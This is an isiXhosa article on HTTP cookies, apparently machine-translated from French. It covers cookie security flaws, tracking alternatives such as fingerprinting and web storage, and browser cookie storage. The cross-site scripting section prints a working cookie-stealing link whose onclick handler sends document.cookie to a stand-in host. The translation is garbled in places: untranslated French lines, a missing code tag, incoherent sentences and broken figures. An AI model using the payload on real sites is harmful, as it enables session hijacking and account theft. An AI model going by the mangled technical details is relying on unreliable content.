Ukongeza kwimiba yabucala, iikuki nazo zineengxaki zobugcisa. Ngokukodwa, abasoloko bechonga ngokuchanekileyo abasebenzisi, banokucotha ukusebenza kwesiza xa bebaninzi, banokusetyenziselwa ukuhlaselwa kokhuseleko, kwaye bangqubuzana nokuhanjiswa kombuso omele, isitayile soyilo lwesoftware.

Ukuchongwa okungachanekanga

Ukuba ngaphezu kwesinye isikhangeli sisetyenzisiweyo kwikhompyuter, kuzo zonke kuhlala kukho indawo eyahlukileyo yokugcina iikuki. Iikuki ke ngoko azichongi umntu, kodwa indibaniselwano yeakhawunti yomsebenzisi, ikhompyuter, kunye nesikhangeli sewebhu. Ke, nabani na unokusebenzisa ezi akhawunti, iikhompyuter, okanye iibhrawuza ezinepanoply yeekuki. Ngokufanayo, iikuki azahluli phakathi kwabasebenzisi abaninzi ababelana ngeakhawunti yomsebenzisi enye, ikhompyuter, kunye nesikhangeli, njengase "kwi-intanethi cafes" okanye nayiphi na indawo enika ukufikelela simahla kwizixhobo zekhompyuter.

Kodwa ngokwenza le ngxelo ijika ibe bubuxoki kwiimeko ezininzi kuba namhlanje ikhompuyutha “yobuqu” (okanye i-smartphone, okanye ithebhulethi, eyona imbi ngakumbi) isetyenziswa ikakhulu ngumntu omnye. ngomthamo wolwazi oluqokelelweyo lufike ekujoliseni okulolwakho nokuba umntu “akachongwanga”.

Icookie inokubiwa yenye ikhompyuter kwinethiwekhi.

Ngexesha lokusebenza okuqhelekileyo, iikuki zithunyelwa emva phakathi kweseva (okanye iqela leeseva kwindawo enye) kunye nesikhangeli sekhompyuter somsebenzisi. Kuba iicookies zinokuqulatha ulwazi olubuthathaka (igama lomsebenzisi, igama lokugqitha elisetyenziselwa ukuqinisekiswa, njl.njl.), amaxabiso azo akufuneki afikeleleke kwezinye iikhompyuter. Ubusela be-cookie sisenzo sokuhluthwa kweekuki ngumntu wesithathu ongagunyaziswanga.

Iikuki zinokubiwa kusetyenziswa ipakethi yesniffer kuhlaselo olubizwa ngokuba yiseshoni yokuqweqwedisa. I-traffic kumnatha inokubanjwa kwaye ifundwe ngezinye iikhomputha ngaphandle kwezo zithumelayo nezifumanayo (ingakumbi kwindawo ye-Wi-Fi engafihlwanga yoluntu). Le traffic iquka iikuki ezithunyelwe ngeeseshoni kusetyenziswa iprotocol ecacileyo yeHTTP. Xa itrafikhi yenethiwekhi ingabhalwanga ngokuntsonkothileyo, abasebenzisi abakhohlakeleyo banokufunda unxibelelwano lwabanye abasebenzisi kwinethiwekhi besebenzisa "i-packet sniffers".

Le ngxaki inokoyiswa ngokubhala ngokuntsonkothileyo uxhulumaniso phakathi kwekhompyuter yomsebenzisi kunye nomncedisi usebenzisa iprotocol yeHTTPS. Umncedisi angachaza a iflegi ekhuselekileyo ngelixa ubeka icookie; Isikhangeli siyakuyithumela kuphela ngaphezulu kwelayini ekhuselekileyo, enjengodibaniso lwe-SSL.

Nangona kunjalo iisayithi ezininzi, nangona zisebenzisa i-HTTPS yonxibelelwano olufihliweyo ukwenzela ukuqinisekiswa komsebenzisi (okt iphepha lokungena), kamva thumela i-cookies zeseshoni kunye nenye idatha njengesiqhelo, ngoqhagamshelwano lwe-HTTP olungafihlwanga ngenxa yezizathu ezifanelekileyo. Abahlaseli banokuthi bathintele iikuki zabanye abasebenzisi kwaye bazenze kwiindawo ezifanelekileyo okanye bazisebenzise kuhlaselo lweekuki.

Iscripting kwindawo: icookie ekufuneka itshintshwe phakathi kweseva kunye nomxhasi ithunyelwa kwelinye iqela lesithathu.

Enye indlela yokuba iikuki kukubhala iisayithi kwaye ibhrawuza ngokwayo ithumele iikuki kwiiseva ezinobungozi ezingazange zizifumane. Iibhrawuza zanamhlanje zivumela ukuphunyezwa kweendawo ezifunwayo zekhowudi kumncedisi. Ukuba iikuki zifikelelwe ngexesha lokusebenza, amaxabiso azo anokuhanjiswa ngenye indlela kwiiseva ezingafanele ukufikelela kuzo. Ukufihla iikuki phambi kokuba zithunyelwe ngenethiwekhi akuncedi ukuthintela uhlaselo.

Olu hlobo lokubhalwa kwe-in-site ngokuqhelekileyo luqeshwe ngabahlaseli kwiindawo ezivumela abasebenzisi ukuba bathumele umxholo we-HTML. Ngokudibanisa inxalenye yekhowudi ehambelanayo kwigalelo leHTML, umhlaseli unokufumana iikuki kwabanye abasebenzisi. Ulwazi lwezi kuki lunokusetyenziswa ngokuqhagamshela kwindawo enye usebenzisa iikuki ezibiweyo, ngaloo ndlela ubonwa njengomsebenzisi obekubiwe iikuki.

Enye indlela yokuthintela uhlaselo olunjalo kukusebenzisa iflegi yeHttpOnly; lukhetho, olufakwe kwinguqulelo yesi-6 ye-Internet Explorer kwi-PHP ukusukela kwinguqulelo 5.2.0 ecetywa ukwenza icookie ingafikeleleki kumxhasi kufutshane nescript. Nangona kunjalo, abaphuhlisi bewebhu kufuneka bathathele ingqalelo oku kuphuhliso lwabo lwesiza ukuze bakhuseleke ekubhalweni kwindawo.

Esinye isoyikiso sokhuseleko esisetyenzisiweyo kukwenziwa kweemfuno kwindawo.

Inkcazelo yobugcisa esemthethweni ivumela iikuki ukuba zithunyelwe emva kuphela kwiiseva kwindawo ezisuka kuyo. Nangona kunjalo, ixabiso leekuki linokuthunyelwa kwezinye iiseva kusetyenziswa iindlela ezingaphandle kweeheda zecookie.

Ngokukodwa, iilwimi zokubhala ezifana neJavaScript zivunyelwe ngokubanzi ukufikelela kumaxabiso e-cookie kwaye ziyakwazi ukuthumela amaxabiso angenasizathu kuyo nayiphi na iseva kwi-Intanethi. Esi sixhobo sokubhala sisetyenziswa kwiiwebhusayithi ezivumela abasebenzisi ukuba bathumele umxholo weHTML ukuze abanye abasebenzisi bawujonge.

Umzekelo, umhlaseli osebenza kwisizinda se-example.com unokuthumela inkcazo equlathe ikhonkco elilandelayo elatha kwibhlog edumileyo abangayilawuliyo ngenye indlela:

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

Xa omnye umsebenzisi ecofa kolu nxulumaniso, umkhangeli zincwadi uphumeza uphawu lokucofa inxalenye yekhowudi, ngoko ke ithatha indawo ye-document.cookie string ngoluhlu lwe cookies zomsebenzisi ezisebenzayo kweli phepha. Ngoko ke, olu luhlu lweekuki luthunyelwa kwi-example.com iseva, kwaye umhlaseli ke ngoko uyakwazi ukuqokelela iikuki zalo msebenzisi.

Olu hlobo lohlaselo kunzima ukulubona kwicala lomsebenzisi kuba iskripthi sivela kwisizinda esifanayo esiseta icookie, kwaye umsebenzi wokuthumela amaxabiso ubonakala ugunyaziswe yile ndawo. Kucatshangelwa ukuba luxanduva lwabalawuli abasebenzisa olu hlobo lwesayithi ukubeka izithintelo ezithintela ukupapashwa kwekhowudi enobungozi.

Iikuki azibonakali ngokuthe ngqo kwiinkqubo zecala lomxhasi njengeJavaScript ukuba zithunyelwe ngeflegi yeHttpOnly. Ukusuka kwindawo yemboniselo yomncedisi, umahluko kuphela kukuba kumgca we Set-Cookie header kongezwe indawo entsha equlathe umtya HttpOnly:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

Xa isikhangeli sifumana icookie enjalo, kufuneka siyisebenzise ngokuqhelekileyo kutshintshiselwano lweHTTP olulandelayo, kodwa ngaphandle kokuyenza ibonakale kwizikripthi ezenziwe kwicala lomxhasi. Iflegi ye-HttpOnly ayiyonxalenye yayo nayiphi na inkcazo yobugcisa esemthethweni, kwaye ayiphunyezwa kuzo zonke iibhrawuza. Qaphela ukuba okwangoku akukho ndlela yokuthintela ukufundwa nokubhala kweekuki zeseshoni nge-XMLHTTPRequest method.

Ukuguqulwa komxholo: umhlaseli uthumela icookie engasebenziyo kwiseva, ekusenokwenzeka ukuba yenziwe kwikuki esebenzayo ethunyelwe ngumncedisi.

Ngokukhawuleza ukuba iikuki kufuneka zigcinwe kwaye zibuyiselwe zingatshintshanga kwiseva, umhlaseli unokuguqula ixabiso leekuki ngaphambi kokuba zibuyiselwe kwiseva. Umzekelo, ukuba i-cookie iqulethe ixabiso elipheleleyo lomsebenzisi ekufuneka lihlawulele izinto ezibekwe kwinqwelo yokuthenga yevenkile, ukutshintsha eli xabiso kuveza iseva kumngcipheko wokuhlawulisa umhlaseli ngaphantsi kwexabiso lokuqala. Inkqubo yokuguqula ixabiso lecookies kuthiwa ityhefu yeqebengwana kwaye ingasetyenziswa emva kokubiwa kwecookie ukwenza uhlaselo luqhubeke.

Kwindlela yokukhupha i-cookie, umhlaseli usebenzisa i-glitch ye-browser ukuthumela i-cookie engasebenziyo kwiseva.

Uninzi lweewebhusayithi, nangona kunjalo, zigcina kuphela i-ID yeseshoni - inani elikhethekileyo elenziwe ngokungacwangciswanga elisetyenziselwa ukuchonga umsebenzisi weseshoni - kwikuki ngokwayo, ngelixa zonke ezinye iinkcukacha zigcinwe kwiseva. Kule meko, le ngxaki isonjululwe kakhulu.

Isayithi nganye kulindeleke ukuba ibeneekuki zayo, ngoko ke isayithi enye akufuneki ikwazi ukulungisa okanye ukwenza iikuki ezinxulumene nenye indawo. Isiphene sokhuseleko sesikhangeli sewebhu sinokuvumela iisayithi ezinobungozi ukuba zaphule lo mthetho. Ukusetyenziswa kwesiphene esinjalo ngokuqhelekileyo kubhekiselwa kuko ukupheka kwe-cross-site. Injongo yohlaselo olunjalo inokuba yiseshoni ye-ID yobusela.

Abasebenzisi kufuneka basebenzise iinguqulelo zamva nje zeebhrawuza zewebhu apho obu bubuthathaka bupheliswe.

Ukungqubana kwemeko phakathi komxhasi kunye nomncedisi

Ukusetyenziswa kweekuki kunokubangela ukuchasana phakathi kwemeko yomthengi kunye nombuso ogcinwe kwikuki. Ukuba umsebenzisi ufumana icookie kwaye ucofe iqhosha elithi "Back" kwisikhangeli, imeko yesikhangeli ayifani nangaphambi kokufunyanwa. Umzekelo, ukuba ibhasikidi yevenkile ye-intanethi yenziwa kusetyenziswa iikuki, imixholo yebhasikithi ayinakutshintsha xa umsebenzisi ebuyela kwimbali yesikhangeli: ukuba umsebenzisi ucofa iqhosha ukongeza inqaku kwibhasikithi yakhe kwaye ucofe "Buyela". " iqhosha, inqaku lihlala kweli. Oku kusenokungabi yinjongo yomsebenzisi, ofuna ngokuqinisekileyo ukurhoxisa ukongezwa kwenqaku. Oku kunokukhokelela ekungathembekiyo, ukudideka, kunye neempazamo. Ngoko abaphuhlisi bewebhu kufuneka baqaphele le ngxaki kwaye baphumeze imilinganiselo yokusingatha iimeko ezinje.

Iikuki ezizingisileyo ziye zagxekwa ziingcali zokhuseleko lwabucala ngokungamiselwa ukuba ziphelelwe ngokukhawuleza, ngaloo ndlela zivumela iiwebhusayithi ukuba zilandelele abasebenzisi kwaye bakhe iprofayile yabo ekuhambeni kwexesha. Lo mba weekuki ukwayinxalenye yengxaki yokuqweqwedisa iseshini, kuba icookie eqhubekayo ebiweyo ingasetyenziselwa ukulinganisa umsebenzisi kangangexesha elithile.

Ukufunda kwakhona: GFAM: ngoobani? Kutheni (ngamanye amaxesha) besoyikeka kangaka?

Ezezinye iikuki

Eminye imisebenzi enokwenziwa kusetyenziswa iikuki zisenokwenziwa kusetyenziswa ezinye iindlela ezidlula iikuki okanye ziphinde zenziwe iikuki ezicinyiweyo, nto leyo edala imiba yabucala ngendlela efanayo (okanye ngamanye amaxesha iba mandundu kuba ingabonakali) kunekuki.

Idilesi ye-IP

Abasebenzisi banokulandelelwa ngedilesi ye-IP yekhompyuter ebiza iphepha. Obu buchwephesha bukhona ukususela ekungekweni kweWebhu yeHlabathi eBanzi, njengoko amaphepha ekhutshelwa phantsi umncedisi ucela idilesi ye-IP yekhompyuter eqhuba umkhangeli zincwadi okanye ummeli, ukuba akukho nanye isetyenziswayo. Umncedisi unokulandelela olu lwazi ukuba kukho iikuki ezisetyenziswayo okanye hayi. Nangona kunjalo, ezi dilesi azithembekanga kangako ekuchongeni umsebenzisi kunee-cookies kuba iikhompyutha kunye neeproxi zinokwabelwana ngazo ngabasebenzisi abaninzi, kwaye ikhompyutha enye inokufumana idilesi ye-IP eyahlukileyo kwiseshoni nganye yomsebenzi (efana no-c rhoqo kuqhagamshelo lwefowuni) .

Ukulandelela ngeedilesi ze-IP kunokuthembeka kwezinye iimeko, ezifana noxhumo lwe-broadband olugcina idilesi ye-IP efanayo ixesha elide, nje ngokuba amandla avuliwe.

Ezinye iinkqubo ezifana neTor ziyilelwe ukugcina ukungaziwa kwe-Intanethi kwaye yenze umkhondo ngedilesi ye-IP ingenzeki okanye ingenzeki.

URL

Ubuchule obuchaneke ngakumbi busekwe kulwazi olufakelweyo kwii-URL. Umtya wombuzo inxalenye yeURL yindlela enye eqhele ukusetyenziselwa le njongo, kodwa amanye amalungu angasetyenziswa nawo. Zombini iseva yeseva yeJava kunye neendlela zeseshoni yePHP zisebenzisa le ndlela ukuba iikuki ayenziwanga zisebenze.

Le ndlela ibandakanya umncedisi wewebhu ufaka izicelo zomtya kwiikhonkco zephepha lewebhu elithwalayo xa lithunyelwa kwisikhangeli. Xa umsebenzisi elandela ikhonkco, isikhangeli sibuyisela umtya wombuzo oqhotyoshelweyo kumncedisi.

Imitya yombuzo esetyenziselwa le njongo kunye neekuki zifana kakhulu, zombini zilulwazi olukhethwe ngumncedisi kwaye lubuyiselwe ngumkhangeli. Nangona kunjalo, kukho umahluko: xa i-URL equlethe umtya wombuzo iphinda isetyenziswe, ulwazi olufanayo luthunyelwa kumncedisi. Umzekelo, ukuba ukhetho lomsebenzisi lufakwe ngekhowudi kuluhlu lombuzo lwe-URL kwaye umsebenzisi athumele loo URL komnye umsebenzisi nge-imeyile, loo msebenzisi uya kuba nakho ukusebenzisa ezo zikhetho.

Ngakolunye uhlangothi, xa umsebenzisi efikelela kwiphepha elifanayo kabini, akukho siqinisekiso sokuba umtya ofanayo wombuzo uya kusetyenziswa omabini amaxesha. Umzekelo, ukuba umsebenzisi uhlala kwiphepha elisuka kwiphepha lesayithi langaphakathi okokuqala kwaye lihlala kwiphepha elifanayo ukusuka kwiphepha langaphandle okwesibini, umtya wombuzo onxulumene nephepha lesayithi uqhelekile ukwahluka, ngelixa iikuki ziyafana. .

Okunye okungeloncedo kwimitya yombuzo inxulumene nokhuseleko: ukugcinwa kwedatha echonga iseshoni kuluhlu lwemibuzo kwenza okanye yenze lula uhlaselo lolungiso lweseshoni, uhlaselo lwesalathiso sokuchonga, kunye nokunye ukuxhaphaza. Ii-ID zeseshoni yokupasa njengeekuki zeHTTP zikhuseleke ngakumbi.

Indawo yefom efihliweyo

Enye indlela yokujonga iseshoni, esetyenziswa yi ASP.NET, kukusebenzisa iifom zewebhu ezinemihlaba efihlakeleyo. Obu buchule bufana kakhulu nokusebenzisa imitya yemibuzo ye-URL ukuthwala ulwazi kwaye inoncedo olufanayo kunye nokungalunganga; kwaye ukuba ifom iqhutywe ngendlela ye-HTTP ye-GET, amasimi ngokwenene abe yinxalenye ye-URL yesikhangeli esiya kuyithumela xa ungenisa ifom. Kodwa ezininzi iifom zicutshungulwa nge-HTTP POST, ebangela ukuba ulwazi lwefom, kubandakanywa nemimandla efihliweyo, yongezwe njengegalelo elongezelelweyo elingeyonxalenye ye-URL okanye i-cookie.

Le ndlela ineenzuzo ezimbini kumbono wokulandelela: okokuqala, ukulandelela ulwazi olubekwe kwikhowudi yomthombo we-HTML kunye negalelo le-POST kunokuba i-URL iya kuvumela umsebenzisi oqhelekileyo ukuba aphephe lo mzila; okwesibini, ulwazi lweseshoni alukhutshelwanga xa umsebenzisi ekopisha i-URL (ukugcina iphepha kwidiski okanye ukuthumela nge-imeyile, umzekelo).

window.igama

Zonke iibhrawuza zewebhu eziqhelekileyo zinokugcina isixa esikhulu sedatha (2MB ukuya kwi-32MB) ngeJavaScript sisebenzisa ipropathi yegama le-DOM yefestile. Le datha inokusetyenziswa endaweni yeekuki zeseshoni kwaye iyasetyenziswa kuyo yonke imimandla. Ubuchule bunokudityaniswa nezinto ze-JSON ukugcina iseti entsonkothileyo yeenguqu zeseshoni yecala lomxhasi.

Icala elisezantsi kukuba ifestile nganye okanye ithebhu nganye iya kuba nefestile engenanto.name; Xa ubrawuza ngeethebhu (evulwe ngumsebenzisi) oku kuthetha ukuba iithebhu ezivulwe ngokwazo aziyi kuba negama lefestile. Ukongeza, i-window.name ingasetyenziselwa ukulandelela iindwendwe kwiindawo ezahlukeneyo ezinokubangela umba wabucala.

Kwezinye iimeko oku kungakhuseleka ngakumbi kuneekuki, ngenxa yokungabandakanywa komncedisi, oko kuyenza ikhuseleke kuhlaselo lomsebenzi womnatha we-sniffer cookies. Nangona kunjalo, ukuba amanyathelo akhethekileyo athatyathwa ukukhusela idatha, isengozini yokuhlaselwa ngakumbi, njengoko idatha ifumaneka ngezinye iisayithi ezivuliwe kwifestile efanayo.

HTTP uqinisekiso

Iprothokholi ye-HTTP ibandakanya iiprothokholi zokuqinisekisa ukufikelela okusisiseko kunye ne-digest yokuqinisekisa ukufikelela, evumela ukufikelela kwiphepha lewebhu kuphela xa umsebenzisi enike igama lomsebenzisi kunye negama lokugqitha. Ukuba umncedisi ucela isatifikethi sokunika ukufikelela kwiphepha lewebhu, isikhangeli siyicela kumsebenzisi kwaye xa sifunyenwe, isikhangeli siyayigcina kwaye siyithumele kuzo zonke izicelo ze-HTTP ezilandelayo. Olu lwazi lunokusetyenziswa ukulandelela umsebenzisi.

Into ekwabelwana ngayo yasekuhlaleni

Ukuba isikhangeli sibandakanya iplagi yeAdobe Flash Player, i izinto ekwabelwana ngazo zendawo ingasetyenziselwa injongo enye neekuki. Banokuba lukhetho olunomtsalane kubaphuhlisi bewebhu kuba:

  • ubungakanani obumiselweyo obumiselweyo bento ekwabelwana ngayo yendawo yi-100 KB;
  • iitshekhi zokhuseleko zahlukile kukhangelo lwekuki yomsebenzisi (ngoko ke izinto ekwabelwana ngazo zasekuhlaleni zinokuvunyelwa xa iikuki zingekho).

Le ngongoma yokugqibela, eyahlula umgaqo-nkqubo wolawulo lwekuki kuleyo yezinto ezabelwana ngazo zasekhaya ze-Adobe iphakamisa imibuzo malunga nokulawulwa ngumsebenzisi wemimiselo yakhe yabucala: kufuneka aqonde ukuba ulawulo lwakhe lweekuki alunampembelelo kulawulo lwezinto ezikwabelwana ngazo zendawo, kwaye ngokuphambene noko.

Olunye ugxeko lwale nkqubo kukuba lunokusetyenziswa kuphela nge-plugin ye-Adobe Flash Player engumniniyo hayi umgangatho wewebhu.

Uzingiso lwecala lomthengi

Ezinye iibhrawuza zewebhu zixhasa indlela yokuqhubeka esekwe kwiscript, evumela iphepha ukuba ligcine ulwazi ekuhlaleni ukuze lusetyenziswe kamva. I-Internet Explorer, umzekelo, ixhasa ulwazi oluzingisileyo kwimbali yebrawuza, iibhukhimakhi, kwifomathi egcinwe kwi-XML, okanye ngqo ngephepha lewebhu eligcinwe kwidisk. KuMicrosoft Internet Explorer 5, kukho indlela yedatha yomsebenzisi efumaneka ngokuziphatha kweDHTML.

I-W3C yazisa nge-HTML 5 iJavaScript entsha ye-API yogcino lwedatha yecala lomthengi ebizwa ngokuba kugcino lweWebhu kwaye ijolise ekubuyiseleni ngokusisigxina iikuki. Iyafana neekuki kodwa ngomthamo ophuculweyo kakhulu kwaye ngaphandle kokugcina ulwazi kwiheda yezicelo zeHTTP. I-API ivumela iindidi ezimbini zogcino lwewebhu: ugcino lwendawo kunye nokugcinwa kweseshoni, kufana neekuki eziqhubekayo kunye neekuki zeseshoni (ngaphandle kokuba iikuki zeseshoni ziphelelwa lixesha xa isikhangeli sivaliwe ugcino lweseshoni phelelwa xa isithuba ivaliwe), ngokulandelelanayo. Ugcino lwewebhu luxhaswa yiMozilla Firefox 3.5, Google Chrome 5, Apple Safari 4, Microsoft Internet Explorer 8 kunye neOpera 10.50.

Indlela eyahlukileyo iqhele ukuthembela kugcino lwesikhangeli (kwinkumbulo kunokuhlaziya) usebenzisa iinkqubo zeJavaScript kumaphepha ewebhu. 

Umzekelo, iphepha lingaqulatha ithegi . La première fois que la page se charge, le programme exemple.js est aussi chargé. 

Ngeli xesha, inkqubo ihlala kwimemori ye-cache kwaye iphepha elityelelweyo alilayishwa kwakhona okwesibini. Ngenxa yoko, ukuba inkqubo iqulethe ukuguquguquka kwehlabathi (umzekelo var id = 3243242;), esi sichongi sihlala sisebenza kwaye sinokusetyenziswa ngenye ikhowudi yeJavaScript xa iphepha lilayishwe kwakhona, okanye kanye iphepha elidibanisa inkqubo lilayishiwe. 

Eyona nto ingalunganga yale ndlela kukuba iJavaScript global variable kufuneka imile, ithetha ukuba ayinakuguqulwa okanye icinywe njengekuki.

umkhangeli zincwadi wewebhu umnwe

Umnwe womkhangeli zincwadi lulwazi oluqokelelweyo malunga nezicwangciso zoqwalaselo lwebhrawuza ngeenjongo zokuchongwa. Le minwe ingasetyenziselwa ukuchonga ngokupheleleyo okanye ngokuyinxenye umsebenzisi we-Intanethi okanye isixhobo naxa iikuki zivaliwe.

Ulwazi olusisiseko lwesikhangeli sewebhu sele luqokelelwe kwiinkonzo zabaphulaphuli bewebhusayithi ngenjongo yokulinganisa ngokuchanekileyo i-traffic web yabantu kunye nokufumanisa iindlela ezahlukeneyo zokuqhafaza ubuqhetseba. Ngoncedo lweelwimi ezibhalwe kwicala lomxhasi, ukuqokelelwa kolwazi oluchanekileyo ngakumbi ngoku kunokwenzeka.

Ukuguqula olu lwazi lube ngumtya omncinci kuvelisa umnwe wesixhobo. Ngo-2010, i-Electronic Frontier Foundation (EFF) yalinganisa i-entropy ye-fingerprint ye-browser ukuba ibe ubuncinane. 18,1 ungazama, kwaye oko kwakuphambi kokuhambela phambili kwi-canvas fingerprinting yongeze i-5,7 bits kuloo entropy.

Iikuki ngamafutshane

Iikuki ziifayile ezibhaliweyo ezincinci ezigcinwe sisikhangeli sewebhu kwi-hard drive yondwendwe lwewebhusayithi kwaye zisetyenziswa (phakathi kwezinye izinto) ukurekhoda ulwazi malunga nondwendwe okanye uhambo lwabo ngesiza. Umphathi wewebhu unako ukuqaphela imikhwa yendwendwe kwaye azenzele umboniso wendawo yakhe kumtyeleli ngamnye; cookies ke yenza kube nokwenzeka ukuba ukhumbule ukuba mangaphi amanqaku aboniswe kwiphepha lasekhaya okanye nokugcina iziqinisekiso zokungena kulo naliphi na iqela labucala: xa undwendwe lubuyela kwindawo, akusekho mfuneko yokuba achwetheze igama lakhe kunye negama lokugqitha. ziphawulwe, kuba zifundwa ngokuzenzekelayo kwikuki.

I-cookie inobomi obulinganiselweyo, ebekwe ngumyili wesayithi. Banokuphelelwa lixesha ekupheleni kweseshoni kwisayithi, ehambelana nokuvalwa kwesiphequluli. Iikuki zisetyenziswa ngokubanzi ukwenza ubomi bube lula kubakhenkethi kwaye bazinikeze ngolwazi olufanelekileyo. Kodwa iindlela ezikhethekileyo zenza kube lula ukulandela umtyeleli kwiindawo ezininzi kwaye ngaloo ndlela ukuqokelela kunye nokujonga ulwazi olubanzi kakhulu malunga nemikhwa yakhe. Le ndlela inike ukusetyenziswa kweekuki igama njengesixhobo sokucupha esaphula imfihlo yabatyeleli, ngelishwa ihambelana nenyani kwiimeko ezininzi zokusetyenziswa ngenxa yezizathu ezingezizo ezobuchwephesha okanye ukungahloniphi okulindelwe ngabasebenzisi.

Ukuphendula kolu loyiko lusemthethweni, i-HTML 5 yazisa iJavaScript entsha ye-API yogcino lwedatha yecala lomxhasi olubizwa ngokuba yiWebhu yokugcina, ekhuseleke kakhulu kwaye inomthamo omkhulu, ojolise ekubuyiseleni iikuki.

Ukugcinwa kweekuki

Ngezinye iibhrawuza, icookie ihlelwa lula, umhleli wombhalo olula njengeNotepad wanele ukutshintsha amaxabiso ayo ngesandla.

Iikuki zigcinwa ngokwahlukileyo ngokuxhomekeke kwisikhangeli:

  • Microsoft Internet Explorer igcina icookie nganye kwifayile eyahlukileyo;
  • Mozilla Firefox igcina zonke iikuki zayo kwifayile enye;
  • Opera igcina zonke iikuki zayo kwifayile enye kwaye ifihlakele (akunakwenzeka ukuziguqula ngaphandle kokhetho lwesoftware);
  • Apple Safari igcina zonke iikuki zayo kwifayile eyodwa yolwandiso lwe.plist. Ukuguqulwa kunokwenzeka kodwa akukho lula kakhulu, ngaphandle kokuba uhamba ngeendlela zesofthiwe.

Iibhrawuza ziyafuneka ukuxhasa into encinci :

  • 300 cookies ngaxeshanye;
  • 4 kwikuki nganye;
  • I-cookies ezingama-20 ngomninimzi okanye indawo.
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